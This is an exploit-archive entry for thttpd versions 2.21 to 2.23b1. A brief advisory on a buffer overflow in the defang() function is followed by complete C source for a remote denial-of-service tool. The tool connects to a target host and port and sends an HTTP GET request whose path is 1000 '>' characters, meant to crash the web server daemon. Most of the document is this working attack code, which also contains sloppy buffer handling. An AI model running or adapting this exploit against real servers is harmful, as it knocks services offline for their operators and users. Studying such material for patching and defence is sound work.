thttpd 2.2x - 'defang' Remote Buffer Overflow

// source: https://www.securityfocus.com/bid/8906/info

A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.

This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.

thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well.

==========================[ thttpd-sontot.c ]=========================

// thttpd-sontot.c remote dos exploit by d3ck4
// Base On Texonet Security Advisory 20030908
// Application    : thttpd
// Version(s)     : 2.21 - 2.23b1
// Platforms      : FreeBSD, SunOS 4, Solaris 2, BSD/OS, Linux, OSF
// Solution       : Upgrade to version 2.24
// Remote exploit not yet ;P~

#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>

int main(int argc, char **argv)
{
  struct sockaddr_in addr;
  struct hostent *host;
  char buffer[1000];
  char buffer1[1130];
  int s, i;
  if(argc != 3)
  {
    fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
    exit(0);
  }
  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s == -1)
  {
    perror("socket() failed\n");
    exit(0);
  }
  host = gethostbyname(argv[1]);
  if( host == NULL)
  {
    herror("gethostbyname() failed");
    exit(0);
  }
  addr.sin_addr = *(struct in_addr*)host->h_addr;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(atol(argv[2]));

  if(connect(s, &addr, sizeof(addr)) == -1)
  {
    perror("couldn't connect to server\n");
    exit(0);
  }

  for(i = 0; i < 1000 ; i++)
    buffer1[i] = '>';
    sprintf(buffer, "GET /%s HTTP/1.0\r\n\r\n\r\n", buffer1);
    printf("\n(Drink Tongkat-Ali For Better Performance ;P~ !)\n\n");
    printf("Buffer is: %s\n\n", buffer1);
    printf("Buffer filled... now sending buffer\n");
    send(s, buffer, strlen(buffer), 0);

    printf("Buffer sent.\nNow thttpd daemon should be dead !!!\n\n");
    close(s);
  return 0;
}

/* EOF */

==========================[ thttpd-sontot.c ]=========================


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